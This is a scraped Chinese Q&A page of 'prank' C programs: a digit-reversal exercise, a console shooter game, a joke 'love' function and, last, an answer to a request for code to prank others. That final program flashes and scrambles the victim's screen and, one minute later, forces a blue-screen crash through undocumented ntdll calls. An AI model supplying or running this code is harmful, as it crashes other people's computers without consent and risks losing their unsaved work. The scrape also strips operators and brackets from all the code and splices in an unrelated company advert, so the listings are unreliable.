189 8069 5689

c语言中的趣味恶搞函数,C语言恶搞

我现在手里的几个用C语言写的恶搞代码,我想问一下那个怎么用?复制到什么里面?文件后缀是什么?

#includestdio.h

创新互联建站主营牟平网站建设的网络公司,主营网站建设方案,成都app软件开发公司,牟平h5微信小程序定制开发搭建,牟平网站营销推广欢迎牟平等地区企业咨询

void daoxu(int n);

void main()

{

int n;

do

{

printf("Input n:\n");

scanf("%d",n);

}while(n99999);

daoxu(n);

}

void daoxu(int n)

{

int a,i=0,count=0;

int b[10];

while(n!=0)

{

a=n%10;

n=n/10;

count++;

b[i]=a;

i++;

printf("%d",a);

}

printf("\n");

printf("该数为%d位数\n",count);

for(i=count-1;i=0;i--)

printf("%d\n",b[i]);

printf("下面是奇偶性判断:\n");

if(b[count-1]/2==0)

printf("1\n");

else

printf("0\n");

}

我用的vc6.0可以处理汉字,如果你用的tc的话自己把汉字换成其他字母描述,否则就是乱码!希望满意,不晓得满足你的最简不

我可以帮助你,你先设置我最佳答案后,我百度Hii教你。

如何用C语言程序恶搞他人

如果初学c语言的话建议先学好语法,开始接触c的时候都是控制台的,可以生成exe的但都是基于控制台的,学好语法才是最重要的,等到用c# vs2005的时候都是模块话的,就可以实现你说的那样的了。切记不要好高骛远。扎实语法,当然你的想法很好。

求一些恶搞程序的C语言源代码

一个打飞机的游戏,DEVc++编译通过:

#include stdio.h

#include conio.h

#include stdlib.h

#include windows.h

#include time.h

#define zlx 10   //增量坐标(x)让游戏框不靠边

#define zly 3    //增量坐标(y)让游戏框不靠边

#define W 26   //游戏框的宽度

#define H 24   //游戏框的高度

int jiem[22][22]={0}, wj=10;   //界面数组, 我机位置(初值为10)

int speed=4,density=30, score=0,death=0;  //敌机速度, 敌机密度, 玩家成绩,死亡次数

int m=0,n=0;   // m,n是控制敌机的变量

void gtxy (int x, int y)   //控制光标位置的函数

{ COORD zb;   //zb代指坐标

zb.X = x;  zb.Y = y;

SetConsoleCursorPosition ( GetStdHandle (STD_OUTPUT_HANDLE), zb );

}

void Color(int a)   //设定颜色的函数(a应为1-15)

{ SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE), a ); }

void yinc(int x=1,int y=0)   //隐藏光标的函数

{ CONSOLE_CURSOR_INFO  gb={x,y};   //gb代指光标, y设为0即隐藏

SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), gb);

}

void csh( )  //初始化函数

{ int i;

Color(7);

gtxy(zlx,zly); printf("╔");  gtxy(zlx+W-2,zly); printf("╗");  //左上角和右上角的框角

gtxy(zlx,zly+H-1); printf("╚"); gtxy(zlx+W-2,zly+H-1); printf("╝"); //下边两框角

for(i=2;iW-2;i+=2) {gtxy(zlx+i,zly);  printf("═"); }      //打印上横框

for(i=2;iW-2;i+=2) {gtxy(zlx+i,zly+H-1); printf("═"); }  //打印下横框

for(i=1;iH-1;i++) { gtxy(zlx,zly+i);  printf("║"); }       //打印左竖框

for(i=1;iH-1;i++) {gtxy(zlx+W-2,zly+i); printf("║"); }  //打印右竖框

Color(14); gtxy(19,2);  printf("歼灭敌机");  Color(10);

gtxy(37,5); printf("设置:Esc ");

gtxy(37,7); printf("发射:↑ ");

gtxy(37,9); printf("控制:← → ");

gtxy(37,11);printf("得分:%d",score);

gtxy(37,13); printf("死亡:%d",death);

yinc(1,0);

}

void qcjm( )  //清除界面函数

{ int i,j;

for(i=0;iH-2;i++)

for(j=0;jW-4;j++){gtxy(zlx+2+j,zly+1+i); printf(" ");}

}

void feiji( )  //飞机移动函数

{ int i,j;

for(i=21;i=0;i--)  //从底行往上是为了避免敌机直接冲出数组

for(j=0;j22;j++)

 {if(i==21jiem[i][j]==3) jiem[i][j]=0;  //底行赋值0 以免越界

   if(jiem[i][j]==3) jiem[i][j]=0, jiem[i+1][j]=3;

 }

if(jiem[20][wj]==3jiem[21][wj]==1) death++;

}

void zidan( )  //子弹移动函数

{ int i,j;

for(i=0;i22;i++)

for(j=0;j22;j++)

 { if(i==0jiem[i][j]==2) jiem[i][j]=0;

   if(jiem[i][j]==2) { if(jiem[i-1][j]==3) score+=100,printf("\7");

                              jiem[i][j]=0,jiem[i-1][j]=2; }

 }

}

void print(  )  //输出界面函数

{int i,j;

qcjm( );

for(i=0;i22;i++)

for(j=0;j22;j++)

{ gtxy(12+j,4+i);

if(jiem[i][j]==3) {Color(13);printf("□");}

if(jiem[i][j]==2) {Color(10);printf(".");}

if(jiem[i][j]==1) {Color(10);printf("■");}

}

gtxy(37,11); Color(10); printf("得分:%d",score);

gtxy(37,13); printf("死亡:%d",death);

}

void setting( )  //游戏设置函数

{ qcjm( );

gtxy(12,4);printf("选择敌机速度:");

gtxy(12,5);printf("  1.快 2.中 3.慢");

switch(getche( ))

{case '1': speed=2; break;

 case '2': speed=4; break;

 case '3': speed=5; break;

 default: gtxy(12,6);printf("  错误!默认值");

}

gtxy(12,7);printf("选择敌机密度:");

gtxy(12,8);printf("  1.大 2.中 3.小");

switch(getche( ))

 {case '1': density=20; break;

  case '2': density=30; break;

  case '3': density=40; break;

  default: gtxy(12,9); printf("  错误!默认值");

}

for(int i=0;i22;i++)

for(int j=0;j22;j++) jiem[i][j]=0;

jiem[21][wj=10]=1;  jiem[0][5]=3;

gtxy(12,10); printf("  按任意键保存...");

getch( );

qcjm( );

}

void run( )  //游戏运行函数

{ jiem[21][wj]=1;  //值为1代表我机(2则为子弹)

jiem[0][5]=3;   //值为3代表敌机

SetConsoleTitle("歼灭敌机");  //设置窗口标题

while(1)

{ if (kbhit( ))   //如有键按下,控制我机左右移动、发射或进行设定

{ int key;

  if((key=getch( ))==224) key=getch( );

switch(key)

   {case 75: if(wj0) jiem[21][wj]=0,jiem[21][--wj]=1; break;

    case 77: if(wj20) jiem[21][wj]=0,jiem[21][++wj]=1; break;

    case 72: jiem[20][wj]=2; break;

   case 27: setting( );

  }

}

if(++n%density==0)   //控制产生敌机的速度

 { n=0;srand((unsigned)time(NULL));

   jiem[0][rand( )%20+1]=3;

 }

if(++m%speed==0) { feiji( ); m=0; }  //控制敌机移动速度(相对子弹而言)

zidan( );   //子弹移动

print( );   //输出界面

Sleep(120);   //延时120毫秒

}

}

int main( )

{ csh( );

run( );

return 0;

}

一段女生写的C语言代码(搞笑)

这个算是技术宅的段子吧

从风格上看,很可能是宅男写的 而不是女生

#include "stdio.h" //谭老说:include 和""都是合法的。这位标准方式,在头文件目录下寻找。

#include "stdlib.h" //""现在当前目录下找,若无,则在头文件目录下找。一般:库函数→自编头文件→""

result love(boy, girl)

{

if ( boy.有房() and boy.有车() )

 {

boy.set(nothing);

return girl.嫁给(boy);

}

if ( girl.愿意等() )

{

 while( ! (boy.赚钱 > 100,000 and girl.感情 > 8 ) )

 {

for ( day=1; day <=365; day++)

{

 if ( day == 情人节 )

 if ( boy.givegirl(玫瑰) )

girl.感情++;

else

 girl.感情--;

  if( day == girl.生日)

 if ( boy.givegirl(玫瑰) )

girl.感情++;

else

girl.感情--;

boy.拼命赚钱();

  }

}

if ( boy.有房() and boy.有车() )

 {

boy.set(nothing);

 return girl.嫁给(boy);

 }

 年龄++;

 girl.感情--;

}

return girl.goto( another_boy);

}

C语言代码中发现奇怪的函数定义形式。求高手鉴定。

老式函数写法。等同:int u2dos (char *path) {....}

同样的,主函数 等同:void main(int argc,char **argv)

struct _utimbuf ut_buf; 标识符可以以下划线开始。

_utimbuf 是编译系统规定的 “标准变量类型”,它是结构类型。存放 文件建立或修改 的时间的结构,头文件 SYS\UTIME.H 定义了它。所以 这里 不能去掉下划线 !

求一个C语言整人代码!!!

先上代码

#include Windows.h

#include time.h

using namespace std;

int call;

int ScreenWidth = GetSystemMetrics(SM_CXSCREEN);

int ScreenHeight = GetSystemMetrics(SM_CYSCREEN);

int IconWidth = GetSystemMetrics(SM_CXICON);

int IconHeight = GetSystemMetrics(SM_CYICON);

HDC hdc=GetWindowDC(GetDesktopWindow());

#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME)  0x8000) ? 1:0)

int random(int upper_bound) {

if(upper_bound==0) {

return 0;

}

srand((unsigned)(time(NULL) * clock() * rand()*call + time(NULL) + rand()+call));

call++;

return rand() % upper_bound;

}

DWORD WINAPI FlashDesktop(LPVOID Param) {

while(true) {

BitBlt(hdc, 0, 0, ScreenWidth, ScreenHeight, hdc, 0, 0, NOTSRCCOPY);

Sleep(random(100));

}

return 0;

}

int GetWay() {

int r=random(3);

switch(r) {

case 0:

return SRCAND;

case 1:

return SRCINVERT;

case 2:

return SRCPAINT;

}

}

DWORD WINAPI ScreenXorOperation1(LPVOID Param) {

while(true) {

int RandWidth = random(ScreenWidth);

int RandHeight = random(ScreenHeight);

int RandxPixel = random(ScreenWidth - RandWidth);

int RandyPixel = random(ScreenHeight - RandHeight);

int RandDestxPixel = random(ScreenWidth - RandWidth);

int RandDestyPixel = random(ScreenHeight - RandHeight);

BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);

Sleep(random(100));

}

return 0;

}

DWORD WINAPI ScreenXorOperation2(LPVOID Param) {

while(true) {

int RandWidth = random(ScreenWidth);

int RandHeight = random(ScreenHeight);

int RandxPixel = random(ScreenWidth - RandWidth) + RandWidth;

int RandyPixel = random(ScreenHeight - RandHeight) + RandHeight;

int RandDestxPixel = random(ScreenWidth - RandWidth) + RandWidth;

int RandDestyPixel = random(ScreenHeight - RandHeight) + RandHeight;

BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);

Sleep(random(100));

}

return 0;

}

DWORD WINAPI CallBsod1MinLater(LPVOID Param) {

Sleep(60000);

HMODULE ntdll = LoadLibrary("ntdll.dll");

FARPROC RtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");

FARPROC NtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");

unsigned char temp0;

long unsigned int temp1;

((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)(0x13, true, false, temp0);

((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)(0xc000021a, 0, 0, 0, 6, temp1);

return 0;

}

DWORD WINAPI DrawErrors(LPVOID Param) {

while(true) {

int RandxPixel = random(ScreenWidth - IconWidth / 2);

int RandyPixel = random(ScreenHeight - IconHeight / 2);

DrawIcon(hdc, RandxPixel, RandyPixel, LoadIcon(NULL, IDI_ERROR));

Sleep(random(50));

}

return 0;

}

int main(void) {

CreateThread(NULL, 4096, FlashDesktop, NULL, NULL, NULL);

CreateThread(NULL, 4096, ScreenXorOperation1, NULL, NULL, NULL);

CreateThread(NULL, 4096, ScreenXorOperation2, NULL, NULL, NULL);

CreateThread(NULL, 4096, CallBsod1MinLater, NULL, NULL, NULL);

CreateThread(NULL, 4096, DrawErrors, NULL, NULL, NULL);

while(true);

}

运行这段代码首先会花屏并闪屏,一分钟后蓝屏。

效果图:


分享题目:c语言中的趣味恶搞函数,C语言恶搞
网站网址:http://cdxtjz.cn/article/phihsj.html

其他资讯